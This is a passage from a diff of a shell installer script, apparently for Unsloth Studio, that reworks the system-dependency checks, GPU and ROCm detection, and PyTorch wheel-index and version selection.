fi - return 0 -} - -# Linux/WSL system-dependency check. Same split as macOS, and a function for the same -# reason: tests/sh can extract it. -# -# Only a download transport is required. cmake, gcc and the libcurl headers exist -# solely for a llama.cpp source build the consumer path never does -- unslothai/ -# llama.cpp publishes linux-x64/arm64 prebuilts for cpu, cuda12, cuda13, rocm and -# vulkan. Requiring them turned every non-apt distro into a hard exit 1 over unused -# tooling. git follows macOS: --local only. -_check_linux_deps() { - _transport_missing=false - if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then - _transport_missing=true - fi - - # Wanted, never required: git fetches the triton_kernels git+https requirement (a - # training speedup), the rest serve the optional source build. Warn, never stop. - _optional_missing="" - command -v cmake >/dev/null 2>&1 || _optional_missing="$_optional_missing cmake" - _has_working_git || _optional_missing="$_optional_missing git" - command -v gcc >/dev/null 2>&1 || _optional_missing="$_optional_missing build-essential" - command -v curl-config >/dev/null 2>&1 || _optional_missing="$_optional_missing libcurl4-openssl-dev" - # Parameter expansion, not `sed`: sed may be absent on a minimal image, and a - # failed `$(... | sed ...)` yields "" -- "all found" on a machine that has none. - _optional_missing="${_optional_missing# }" - - if [ "$STUDIO_LOCAL_INSTALL" = true ] && ! _has_working_git; then - echo "" - step "deps" "git is required for --local installs" "$C_ERR" - substep "--local installs unsloth-zoo from git+https://github.com/unslothai/unsloth-zoo," - substep "which needs git. Install it with your package manager, then re-run." - substep "A normal (non---local) install needs no git and no compiler." - return 1 - fi - - # The one fatal case: nothing can be downloaded. apt is the only distro family we - # can drive unattended. - if [ "$_transport_missing" = true ]; then - if command -v apt-get >/dev/null 2>&1; then - echo "" - step "deps" "missing: curl" "$C_WARN" - substep "Needed to download uv, Python and the prebuilt inference engine." - _smart_apt_install curl - echo "" - else - echo "" - step "deps" "missing: curl (or wget)" "$C_ERR" - substep "Unsloth needs one of them to download uv, Python and the prebuilt" - substep "inference engine. Install one, then re-run setup:" - substep " Fedora/RHEL: sudo dnf install curl" - substep " Arch: sudo pacman -S --needed curl" - substep " openSUSE: sudo zypper install curl" - return 1 - fi - fi - - # Try apt for the optional set too; failing only costs the features warned about - # below. - if [ -n "$_optional_missing" ] && command -v apt-get >/dev/null 2>&1; then - step "deps" "installing optional build tools: $_optional_missing" "$C_DIM" - # Subshell because _smart_apt_install exits rather than returns, so `|| true` - # alone would not catch it. _SMART_APT_OPTIONAL suppresses every escalation - # path, so no install hinges on a prompt for tools nothing here needs. - ( _SMART_APT_OPTIONAL=true; _smart_apt_install $_optional_missing ) || true - _optional_missing="" - command -v cmake >/dev/null 2>&1 || _optional_missing="$_optional_missing cmake" - _has_working_git || _optional_missing="$_optional_missing git" - command -v gcc >/dev/null 2>&1 || _optional_missing="$_optional_missing build-essential" - command -v curl-config >/dev/null 2>&1 || _optional_missing="$_optional_missing libcurl4-openssl-dev" - _optional_missing="${_optional_missing# }" - fi - - if [ -n "$_optional_missing" ]; then - step "deps" "using prebuilt llama.cpp (missing: $_optional_missing)" "$C_WARN" - substep "Not required to run: Unsloth downloads a prebuilt inference engine." - case " $_optional_missing " in - *" git "*) substep "Without git the triton kernels training speedup is skipped." ;; - esac - else - step "deps" "all system dependencies found" - fi - return 0 -} - case "$OS" in macos) - _check_macos_deps || exit 1 + # Xcode Command Line Tools provide the C/C++ compiler and git. + if ! xcode-select -p >/dev/null 2>&1; then + echo "" + echo "==> Xcode Command Line Tools are required." + echo " Installing (a system dialog will appear)..." + xcode-select --install /dev/null || true + echo " After the installation completes, please re-run this script." + exit 1 + fi + # cmake is only needed for a source build; the default prebuilt path + # doesn't use it, so its absence is not fatal -- no Homebrew prerequisite. + if command -v cmake >/dev/null 2>&1; then + step "deps" "all system dependencies found" + else + step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN" + substep "Install cmake only if you want a source build: brew install cmake" + fi ;; linux|wsl) - _check_linux_deps || exit 1 + MISSING="" + command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake" + command -v git >/dev/null 2>&1 || MISSING="$MISSING git" + # curl or wget is needed for downloads; check both + if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then + MISSING="$MISSING curl" + fi + command -v gcc >/dev/null 2>&1 || MISSING="$MISSING build-essential" + # libcurl dev headers for llama.cpp HTTPS support + command -v curl-config >/dev/null 2>&1 || MISSING="$MISSING libcurl4-openssl-dev" + + MISSING=$(echo "$MISSING" | sed 's/^ *//') + if [ -n "$MISSING" ]; then + echo "" + step "deps" "missing: $MISSING" "$C_WARN" + substep "These are needed to build the GGUF inference engine." + if command -v apt-get >/dev/null 2>&1; then + _smart_apt_install $MISSING + else + echo " Automatic system package installation is supported on apt-based" + echo " Linux distributions (Ubuntu/Debian) only. Please install the" + echo " missing dependencies with your package manager, then re-run setup:" + echo " $MISSING" + echo "" + echo " Examples:" + echo " Fedora/RHEL: sudo dnf install cmake git gcc gcc-c++ make libcurl-devel" + echo " Arch: sudo pacman -S --needed cmake git base-devel curl" + echo " openSUSE: sudo zypper install cmake git gcc gcc-c++ make libcurl-devel" + exit 1 + fi + echo "" + else + step "deps" "all system dependencies found" + fi ;; esac @@ -2243,13 +1707,11 @@ tauri_log "STEP" "Creating virtual environment" mkdir -p "$STUDIO_HOME" _MIGRATED=false -# Empty so an inherited value can never masquerade as a probed torch version. -_PREV_TORCH_VER="" if [ -x "$VENV_DIR/bin/python" ]; then # why: matching guard to the .venv branch below -- in env-mode # $STUDIO_HOME is a user-chosen workspace, so refuse to nuke an - # existing $STUDIO_HOME/unsloth_studio that lacks Unsloth sentinels. + # existing $STUDIO_HOME/unsloth_studio that lacks Studio sentinels. # Accept the in-VENV ownership marker so partial-install retries are # not blocked. Sentinels must be regular files: -f follows symlinks # to files (the legitimate ln -s shim shape) but rejects directories @@ -2262,12 +1724,6 @@ if [ -x "$VENV_DIR/bin/python" ]; then echo " Move it aside or choose an empty UNSLOTH_STUDIO_HOME." >&2 exit 1 fi - # Record the existing venv's torch BEFORE the replacement moves it aside: a re-run - # rebuilds the venv for clean state, but must keep the torch release the user - # already has (see _previous_torch_pin below). Last line only: sitecustomize or - # import-hook noise on stdout must not corrupt the version. - _PREV_TORCH_VER=$("$VENV_DIR/bin/python" -c \ - "import torch; print(torch.__version__)" 2>/dev/null | tail -n 1 || true) # New layout already exists — replace only after preserving rollback copy. substep "preserving existing environment for rollback..." _start_studio_venv_replacement "$VENV_DIR" @@ -2276,7 +1732,7 @@ elif [ "$_STUDIO_HOME_REDIRECT" != "env" ] && [ -x "$STUDIO_HOME/.venv/bin/pytho # Skip in env-mode so we don't rm -rf an unrelated .venv at the # workspace root (e.g. user's existing project Python venv). # In no-torch mode, a missing torch package is expected; validate Python only. - substep "found legacy Unsloth environment, validating..." + substep "found legacy Studio environment, validating..." _legacy_ok=false if [ "$SKIP_TORCH" = true ]; then if "$STUDIO_HOME/.venv/bin/python" -c "import sys; print(sys.executable)" >/dev/null 2>&1; then @@ -2333,7 +1789,7 @@ if [ ! -x "$VENV_DIR/bin/python" ]; then fi fi -# Mark the freshly-created venv as Unsloth-owned so a partial install can be +# Mark the freshly-created venv as Studio-owned so a partial install can be # repaired by re-running install.sh; the env-mode deletion guard above accepts # this marker as the primary sentinel. if [ -x "$VENV_DIR/bin/python" ]; then @@ -2421,15 +1877,6 @@ if [ "$SKIP_TORCH" = false ] && [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; t TORCH_CONSTRAINT="torch>=2.6,<2.11.0" fi fi -# Companion (torchvision/torchaudio) constraints, bounded to torch's window. -# torchaudio 2.11 dropped its exact torch pin, so a bare companion next to a -# <2.11-capped torch resolves torchaudio 2.11 (verified: cpu leaf installed -# torch 2.10.0+cpu with torchaudio 2.11.0+cpu). torchvision still exact-pins -# torch and self-corrects, but is bounded for symmetry. Widened alongside the -# cu* torch window below; the torch-2.11 AMD paths (rocm7.2 / per-gfx / Strix) -# pin their own trio. -TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0" -TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0" # ── Resolve repo root (for --local installs) ── _REPO_ROOT="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)" @@ -2479,153 +1926,71 @@ _has_amd_rocm_gpu() { amd-smi list 2>/dev/null | awk '/^GPU[[:space:]]*[:\[][[:space:]]*[0-9]/{ found=1 } END{ exit !found }'; then return 0 elif [ -e /dev/kfd ] && \ - awk '/vendor_id/ && $2 == 4098 { found = 1 } END { exit !found }' \ + awk 'FNR==1{ gpu=0; amd=0 } /gpu_id/{ gpu=($2+0>0) } /vendor_id/{ amd=($2==4098) } \ + gpu && amd { found=1 } END{ exit !found }' \ /sys/class/kfd/kfd/topology/nodes/*/properties 2>/dev/null; then - # vendor_id 4098 = 0x1002 (AMD) marks a GPU node: the KFD CPU node - # reports vendor_id 0, so any 4098 node is an AMD GPU. NVIDIA's open - # kernel module (driver 560+) registers KFD nodes as vendor_id 4318 - # (0x10DE), so this never false-positives on NVIDIA-only hosts. - # The prior check also required a gpu_id line, but gpu_id is a SIBLING - # sysfs file, not a line in properties -- it never matched, so the - # fallback silently missed every ROCm-less AMD host (issue: fresh - # Arch/CachyOS boxes reporting "no GPU detected"). + # vendor_id 4098 = 0x1002 (AMD). NVIDIA open kernel module (driver + # 560+) can register KFD topology nodes with non-zero gpu_id but + # vendor_id 4318 (0x10DE). Require AMD vendor to avoid misrouting + # NVIDIA-only hosts to the ROCm install path. return 0 fi return 1 } -# Returns 0 if an AMD display GPU is on the PCI bus even when ROCm can't use it -# (e.g. a Strix Halo iGPU with no /dev/kfd). Only sharpens the "no GPU detected" -# hint. vendor 0x1002 = AMD/ATI; class 0x03* = display controller. -_amd_gpu_present_via_pci() { - [ -d /sys/bus/pci/devices ] || return 1 - for _pci_vendor in /sys/bus/pci/devices/*/vendor; do - [ -r "$_pci_vendor" ] || continue - read -r _v < "$_pci_vendor" 2>/dev/null || continue - [ "$_v" = "0x1002" ] || continue - _cls="${_pci_vendor%vendor}class" - [ -r "$_cls" ] || continue - read -r _c < "$_cls" 2>/dev/null || continue - case "$_c" in 0x03*) return 0 ;; esac - done - return 1 +# ── Bounded command runner ── +# Runs a command under a 10s timeout when the `timeout` binary is available, +# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during +# driver init or after a reset) from hanging the installer: a timed-out probe +# exits nonzero and is treated exactly like a failed probe. No-op semantics on +# hosts without `timeout` (e.g. macOS) or when the probe is healthy. +_run_bounded() { + if command -v timeout >/dev/null 2>&1; then + timeout 10 "$@" + else + "$@" + fi } -# Map a gfx arch to the AMD pip index family (mirrors install.ps1 $archFamilyMap). -_amd_arch_index_family_for_gfx() { - case "$1" in - gfx1201|gfx1200) echo gfx120X-all ;; - gfx1151) echo gfx1151 ;; - gfx1150) echo gfx1150 ;; - gfx1152) echo gfx1152 ;; - gfx1103|gfx1102|gfx1101|gfx1100) echo gfx110X-all ;; - gfx1036|gfx1035|gfx1034|gfx1033|gfx1032|gfx1031|gfx1030) echo gfx103X-all ;; - gfx90a) echo gfx90a ;; - gfx908) echo gfx908 ;; - *) return 1 ;; - esac +# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every +# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to +# the AMD card). Unset means all devices visible. nvidia-smi ignores this env +# var, so the probes below cannot see the distinction on their own. +_cvd_hides_nvidia() { + [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1 + _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]') + [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ] } -# Map a GPU marketing name to gfx arch (kept in sync with install.ps1 nameArchTable). -_infer_amd_gfx_arch_from_gpu_name() { - case "$1" in - *9070*|*9080*) echo gfx1201 ;; - *9060*) echo gfx1200 ;; - *"8065S"*|*"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) echo gfx1151 ;; - *"890M"*|*"880M"*|*"Strix Point"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*) echo gfx1150 ;; - *"860M"*|*"840M"*|*"Krackan"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) echo gfx1152 ;; - *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*) echo gfx1102 ;; - *"RX 7800"*|*"RX 7700"*|*"PRO W7700"*|*"PRO V710"*) echo gfx1101 ;; - *"RX 7900"*|*"PRO W7900"*|*"PRO W7800"*) echo gfx1100 ;; - *"780M"*|*"760M"*|*"740M"*|*"Phoenix"*|*"Hawk Point"*|*"Z1 Extreme"*|*"Z2 Extreme"*) echo gfx1103 ;; - *"RX 6900"*|*"RX 6800"*|*"RX 6750"*|*"RX 6700"*|*"PRO W6800"*|*"PRO W6900"*) echo gfx1030 ;; - *"RX 6650"*|*"RX 6600"*|*"PRO W6600"*|*"PRO W6650"*) echo gfx1032 ;; - *"RX 6500"*|*"RX 6400"*|*"RX 6300"*|*"PRO W6400"*|*"PRO W6500"*) echo gfx1034 ;; - *) return 1 ;; - esac -} - -# Best-effort gfx inference when ROCm tools can't see the GPU (unslothai#7301). -# Mirrors install.ps1 arch resolution on Windows ($HasROCm false, $ROCmGfxArch set). -_infer_linux_amd_gfx_arch() { - if [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then - printf '%s\n' "$(printf '%s' "$UNSLOTH_ROCM_GFX_ARCH" | tr '[:upper:]' '[:lower:]')" - return 0 +# ── NVIDIA usable-GPU helper ── +# Returns 0 (true) if an NVIDIA GPU is present and usable. +# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs, +# which the NVIDIA driver populates on Linux regardless of nvidia-smi state +# -- handles PATH gaps, subprocess timeouts, and driver init races that +# could otherwise cause nvidia-smi to fail and silence NVIDIA detection. +# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches +# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs. +_has_usable_nvidia_gpu() { + if _cvd_hides_nvidia; then + return 1 fi - # On WSL /proc/cpuinfo and lspci still report the host APU, but without the - # ROCDXG bridge (librocdxg over /dev/dxg) the AMD wheels can't reach the GPU; - # keep the CPU fallback there unless that runtime is present (the explicit - # override above still wins). Mirrors install_python_stack.py. - _gpu_evidence="" - if [ -e /dev/dxg ] || grep -qi microsoft /proc/version 2>/dev/null; then - for _d in /opt/rocm/lib /opt/rocm/lib64 /opt/rocm-*/lib /opt/rocm-*/lib64; do - { [ -e "$_d/librocdxg.so" ] || [ -e "$_d/librocdxg.so.1" ]; } && _rocdxg=1 && break - done - [ -n "${_rocdxg:-}" ] || return 1 - # WSL enumerates no PCI display device; /dev/dxg + librocdxg IS the - # GPU evidence there. - _gpu_evidence=1 - elif _amd_gpu_present_via_pci; then - _gpu_evidence=1 + _nvsmi="" + if command -v nvidia-smi >/dev/null 2>&1; then + _nvsmi="nvidia-smi" + elif [ -x "/usr/bin/nvidia-smi" ]; then + _nvsmi="/usr/bin/nvidia-smi" fi - # /proc/cpuinfo leaks the HOST CPU model into VMs/containers that received - # no AMD GPU, so the CPU-model text alone is not GPU evidence: require an - # AMD display device (PCI vendor 0x1002, class 0x03*) before trusting it. - # The lspci fallback below needs no gate; an AMD display line IS evidence. - if [ -n "$_gpu_evidence" ] && grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null; then - echo gfx1151 - return 0 - fi - if [ -n "$_gpu_evidence" ] && grep -qiE '890M|880M|Strix Point|HX 37[05]|AI 9 HX|AI 9 36[05]' /proc/cpuinfo 2>/dev/null; then - echo gfx1150 - return 0 - fi - if [ -n "$_gpu_evidence" ] && grep -qiE '860M|840M|Krackan|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33' /proc/cpuinfo 2>/dev/null; then - echo gfx1152 - return 0 - fi - if command -v lspci >/dev/null 2>&1; then - # A non-AMD controller can enumerate first (Intel/ASPEED before an AMD - # dGPU), so scan every display-class line and take the first AMD one - # that maps. The vendor guard is case-SENSITIVE (a -i "ATI" would match - # "CorporATIon" on every Intel/NVIDIA line); whole-line matching also - # survives the 0000: PCI domain prefix. Mirrors install_python_stack.py. - _amd_disp=$(lspci -nn 2>/dev/null | grep -E 'VGA compatible controller|3D controller|Display controller' | grep -E 'AMD|ATI' || true) - while IFS= read -r _ln; do - [ -n "$_ln" ] || continue - if _gfx=$(_infer_amd_gfx_arch_from_gpu_name "$_ln"); then - echo "$_gfx" - return 0 - fi - done </dev/null 2>&1; then - _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) - fi - if [ -z "$_pg" ] && command -v amd-smi >/dev/null 2>&1; then - _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi list 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) - if [ -z "$_pg" ]; then - _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi static --asic 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + if [ -n "$_nvsmi" ]; then + if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then + return 0 fi fi - printf '%s\n' "$_pg" + # Fallback: NVIDIA driver exposes one subdir per GPU under this path. + if [ -d /proc/driver/nvidia/gpus ] && \ + [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then + return 0 + fi + return 1 } # ── Detect GPU and choose PyTorch index URL ── @@ -2635,24 +2000,6 @@ _probe_amd_gfx_arch() { get_torch_index_url() { _base="${UNSLOTH_PYTORCH_MIRROR:-https://download.pytorch.org/whl}" _base="${_base%/}" - # Explicit override -- skip ALL GPU probing (headless / container / CI / cross-install). - # UNSLOTH_TORCH_INDEX_URL wins (full URL, verbatim); _FAMILY is the leaf (cpu, cu128, ...) - # appended to the mirror base. Trim whitespace so a whitespace-only value is unset. - _url="${UNSLOTH_TORCH_INDEX_URL:-}" - _url="${_url#"${_url%%[![:space:]]*}"}"; _url="${_url%"${_url##*[![:space:]]}"}" - if [ -n "$_url" ]; then - # Trim trailing PATH slashes (a multi-slash path 404s on strict pip proxies) while - # preserving a ?query/#fragment token (a whole-URL strip would eat a "/"-ending token). - _url=$(_trim_index_path_slashes "$_url") - echo "$_url"; return - fi - _family="${UNSLOTH_TORCH_INDEX_FAMILY:-}" - _family="${_family#"${_family%%[![:space:]]*}"}"; _family="${_family%"${_family##*[![:space:]]}"}" - if [ -n "$_family" ]; then - while [ "${_family#/}" != "$_family" ]; do _family="${_family#/}"; done - while [ "${_family%/}" != "$_family" ]; do _family="${_family%/}"; done - echo "$_base/$_family"; return - fi # macOS: always CPU (no CUDA support) case "$(uname -s)" in Darwin) echo "$_base/cpu"; return ;; esac # Try nvidia-smi -- require the binary to actually list a usable GPU. @@ -2681,29 +2028,6 @@ get_torch_index_url() { if ! _has_amd_rocm_gpu; then echo "$_base/cpu"; return fi - # A generic rocm index is only safe when the gfx arch is readable: the - # Strix reroute (gfx1150/1151 -> arch-specific index) learns gfx from - # rocminfo/amd-smi, so if those are missing OR do not enumerate the GPU, an - # unknown-arch box might be Strix and would get the broken _grouped_mm - # wheels. Probe via the shared helper (override first, then rocminfo/amd-smi - # with visibility masks cleared); if the arch is unreadable, never guess a - # rocm index. A KFD-only host whose arch is still inferable from hardware - # IDs (PCI/cpuinfo/lspci) returns the cpu index and lets the runtime-less - # reroute below upgrade it to AMD per-arch wheels -- the reroute gate uses - # this same probe, so the handoff can't misfire. Only when inference fails - # too is CPU final, with the actionable warning. - _amd_gfx_probe=$(_probe_amd_gfx_arch) - if [ -z "$_amd_gfx_probe" ]; then - if _amd_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null) && \ - [ -n "$_amd_inferred_gfx" ] && \ - _amd_arch_index_family_for_gfx "$_amd_inferred_gfx" >/dev/null 2>&1; then - echo "[WARN] AMD GPU detected but rocminfo/amd-smi can't read its gfx arch -- inferring $_amd_inferred_gfx from hardware IDs." >&2 - echo "$_base/cpu"; return - fi - echo "[WARN] AMD GPU detected but its gfx arch can't be read (rocminfo/amd-smi missing or not enumerating the GPU) -- installing CPU-only PyTorch." >&2 - echo "[WARN] For GPU PyTorch, install or repair rocminfo/amd-smi (e.g. sudo pacman -S rocm-hip-sdk) and re-run this installer." >&2 - echo "$_base/cpu"; return - fi # AMD GPU confirmed -- detect ROCm version _rocm_tag="" _rocm_tag=$({ command -v amd-smi >/dev/null 2>&1 && \ @@ -2720,11 +2044,7 @@ get_torch_index_url() { { command -v rpm >/dev/null 2>&1 && \ ver="$(rpm -q --qf '%{VERSION}\n' rocm-core 2>/dev/null)" && \ [ -n "$ver" ] && \ - printf '%s\n' "$ver" | awk -F'[.-]' '{print "rocm"$1"."$2; exit}'; }) 2>/dev/null || _rocm_tag="" - # ^ || guard: when EVERY version source is missing (e.g. rocminfo present - # but rocm-core not installed, so dpkg-query/rpm exit 1), the whole || - # chain fails and set -e would kill the installer BEFORE the actionable - # no-version WARN below -- exactly the fresh-install case it exists for. + printf '%s\n' "$ver" | awk -F'[.-]' '{print "rocm"$1"."$2; exit}'; }) 2>/dev/null # Validate _rocm_tag: must match "rocmX.Y" with major >= 1 case "$_rocm_tag" in rocm[1-9]*.[0-9]*) : ;; # valid (major >= 1) @@ -2760,27 +2080,12 @@ get_torch_index_url() { esac return fi - # AMD GPU confirmed (rocminfo/amd-smi or the KFD topology fallback) but - # no ROCm/HIP install was found to read the version from (amd-smi, - # /opt/rocm/.info/version, hipconfig, dpkg, rpm). This is the common - # fresh-install case: the GPU is real, but with no ROCm userspace the - # correct PyTorch build can't be selected. Warn with an actionable fix - # rather than silently installing CPU PyTorch. - # A user-set UNSLOTH_ROCM_GFX_ARCH seeded the probe above, so rocminfo/ - # amd-smi may still be unable to see the GPU; when the named arch maps to - # a wheel family, the runtime-less reroute (gated on the override) will - # install the AMD per-arch wheels -- a CPU-only warning here would be - # false for that path. Defer like the inferable-arch branch does. - if [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ] && \ - _amd_arch_index_family_for_gfx "$_amd_gfx_probe" >/dev/null 2>&1; then - echo "[WARN] AMD GPU detected with no readable ROCm version, but UNSLOTH_ROCM_GFX_ARCH=$_amd_gfx_probe is set -- routing to AMD per-arch wheels." >&2 - echo "$_base/cpu"; return - fi - echo "[WARN] AMD GPU detected, but no ROCm/HIP install was found to select the matching GPU PyTorch build -- falling back to CPU-only PyTorch." >&2 - echo "[WARN] Install the ROCm/HIP SDK, then re-run this installer:" >&2 - echo "[WARN] Arch / CachyOS : sudo pacman -S rocm-hip-sdk" >&2 - echo "[WARN] other distros : https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2 - echo "[WARN] Minimum required for version detection: amd-smi, hipconfig, /opt/rocm/.info/version, or the rocm-core package." >&2 + # AMD GPU confirmed by rocminfo/amd-smi but ROCm version could not be + # read from any source (amd-smi, /opt/rocm/.info/version, hipconfig, + # dpkg, rpm). Warn explicitly rather than silently installing CPU PyTorch. + echo "[WARN] AMD GPU detected but ROCm version could not be determined -- falling back to CPU-only PyTorch" >&2 + echo "[WARN] Ensure one of the following is accessible: amd-smi, hipconfig, /opt/rocm/.info/version, rocm-core package" >&2 + echo "[WARN] To install ROCm: https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2 echo "$_base/cpu"; return fi # Parse CUDA version from nvidia-smi output (POSIX-safe, no grep -P). @@ -2823,200 +2128,33 @@ _torch_flavor_tag() { esac } -# Final path segment of a wheel index URL ($1), lowercased, query/fragment stripped first -# so a token-authenticated pin (.../cu128?token=x) classifies as cu128 (else it reinstalls -# every update). Classification only. Shared with the py / ps1 leaf extractors. -_torch_index_url_leaf() { - _tl_u="${1%%\?*}" - _tl_u="${_tl_u%%#*}" - # Strip ALL trailing slashes, not one: .../rocm7.2// must yield rocm7.2, not an empty leaf. - while [ -n "$_tl_u" ] && [ "${_tl_u%/}" != "$_tl_u" ]; do - _tl_u="${_tl_u%/}" - done - printf '%s' "${_tl_u##*/}" | tr '[:upper:]' '[:lower:]' -} - -# True (exit 0) when a lowercased leaf is an EXACT pip ROCm family: rocm[.] -# or a gfx ARCHITECTURE leaf (gfx followed by a digit: gfx90a, gfx1151, gfx120x-all). A leaf -# that merely starts with rocm/gfx (rocm7.2-private, gfx-private) is a custom verbatim pin. -# Matches the py / ps1 sides. -_is_pip_rocm_family_leaf() { - case "$1" in - gfx[0-9]*) return 0 ;; - rocm[0-9]*) - # Exact rocm[.]: both major and minor must be non-empty all-digits - # (rocm7., rocm7.2.1, rocm7.2-private are all custom pins, not a family). - _rocm_rest="${1#rocm}" - case "$_rocm_rest" in - *.*.*) return 1 ;; - *.*) - _rocm_minor="${_rocm_rest#*.}" - case "${_rocm_rest%%.*}" in "" | *[!0-9]*) return 1 ;; esac - case "$_rocm_minor" in "" | *[!0-9]*) return 1 ;; esac - ;; - *[!0-9]*) return 1 ;; - esac - return 0 - ;; - *) return 1 ;; - esac -} - -# Whether release base $1 (X.Y[.Z...]) falls inside constraint window $2 -# ("torch>=A.B[.C],="*",<"*) ;; - *) echo "no"; return ;; - esac - _trw_floor="${_trw_con#torch>=}"; _trw_floor="${_trw_floor%%,*}" - _trw_ceil="${_trw_con##*,<}" - _v_maj="${1%%.*}"; _v_rest="${1#*.}"; _v_min="${_v_rest%%.*}" - _f_maj="${_trw_floor%%.*}"; _f_rest="${_trw_floor#*.}"; _f_min="${_f_rest%%.*}" - _c_maj="${_trw_ceil%%.*}"; _c_rest="${_trw_ceil#*.}"; _c_min="${_c_rest%%.*}" - for _trw_n in "$_v_maj" "$_v_min" "$_f_maj" "$_f_min" "$_c_maj" "$_c_min"; do - case "$_trw_n" in ''|*[!0-9]*) echo "no"; return ;; esac - done - if [ "$_v_maj" -gt "$_f_maj" ] || { [ "$_v_maj" -eq "$_f_maj" ] && [ "$_v_min" -ge "$_f_min" ]; }; then - if [ "$_v_maj" -lt "$_c_maj" ] || { [ "$_v_maj" -eq "$_c_maj" ] && [ "$_v_min" -lt "$_c_min" ]; }; then - echo "yes" - return - fi - fi - echo "no" -} - -# Keep the previous venv's torch on a re-run: echo "torch==X.Y.Z" when the probed -# version ($1) is inside the active constraint window ($2), else "". The RELEASE is kept -# regardless of flavor tag; the pin installs from the freshly chosen index, so flavor -# follows the machine (cpu <-> cuda, cu126 -> cu130, PyPI bare -> +cu130) while the -# release follows the user. Gating on flavor was wrong: a PyPI torch reports a BARE -# version (on Linux the PyPI wheel IS CUDA), misclassified "cpu", so a healthy 2.10 on a -# cu130 host was moved to 2.11. Per-leaf floors still win (rocm7.2 / gfx >=2.11 for the -# Strix _grouped_mm fix, out-of-window manual installs) and are never pinned; the caller's -# _PREV_FALLBACK_CONSTRAINT installs the newest supported release when the index lacks the -# exact one. Opt out with UNSLOTH_TORCH_UPGRADE=1. -_previous_torch_pin() { - _ptp_ver="$1" - _ptp_con="$2" - [ -n "$_ptp_ver" ] || { echo ""; return; } - [ "${UNSLOTH_TORCH_UPGRADE:-0}" = "1" ] && { echo ""; return; } - _ptp_base="${_ptp_ver%%+*}" - # Base must be a plain numeric release (X.Y[.Z]); probe noise and - # nightly/dev/source builds (2.11.0.dev20250704, 2.9.0a0) must never - # become a pin -- no stable index carries them, so pinning would only - # print "keeping it" and then burn a doomed resolve before falling back. - case "$_ptp_base" in - *[!0-9.]* | *..* | .* | *.) echo ""; return ;; - [0-9]*.[0-9]*) ;; - *) echo ""; return ;; - esac - [ "$(_torch_release_in_window "$_ptp_base" "$_ptp_con")" = "yes" ] || { echo ""; return; } - echo "torch==$_ptp_base" -} - -# Install torch from TORCH_INDEX_URL honoring a kept-release pin: with _PREV_TORCH_PIN -# set, TORCH_CONSTRAINT is the exact previous release; fall back to the supported range -# if the index lacks it (pruned mirror) rather than failing. Used by every --default-index -# path (NVIDIA cu*, AMD rocm/gfx fallbacks, cpu/mac, ROCm repairs) so preservation is -# uniform. Extra args (e.g. --force-reinstall) are passed through to uv. -_install_torch_default_index() { - if [ -n "$_PREV_TORCH_PIN" ]; then - # Pair the companions with the kept torch minor: torchaudio no longer - # exact-pins torch in its metadata, so leaving it unconstrained resolves - # a newer mismatched build (a kept torch 2.9.0 pulled torchaudio 2.11.0). - _itdi_base="${_PREV_TORCH_PIN#torch==}" - _itdi_minor="${_itdi_base#*.}" - _itdi_minor="${_itdi_minor%%.*}" - _itdi_tv="torchvision" - _itdi_ta="torchaudio" - case "$_itdi_base" in - 2.*) - _itdi_tv="torchvision==0.$((_itdi_minor + 15)).*" - _itdi_ta="torchaudio==2.${_itdi_minor}.*" - ;; - esac - if ! run_install_cmd_retry "install PyTorch (kept release)" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$_itdi_tv" "$_itdi_ta" \ - --default-index "$TORCH_INDEX_URL" "$@"; then - substep "[WARN] $_PREV_TORCH_PIN is not installable from $(_strip_index_url_credentials "$TORCH_INDEX_URL") -- installing the newest supported release instead" "$C_WARN" - TORCH_CONSTRAINT="$_PREV_FALLBACK_CONSTRAINT" - _PREV_TORCH_PIN="" - run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$TORCHVISION_CONSTRAINT" "$TORCHAUDIO_CONSTRAINT" \ - --default-index 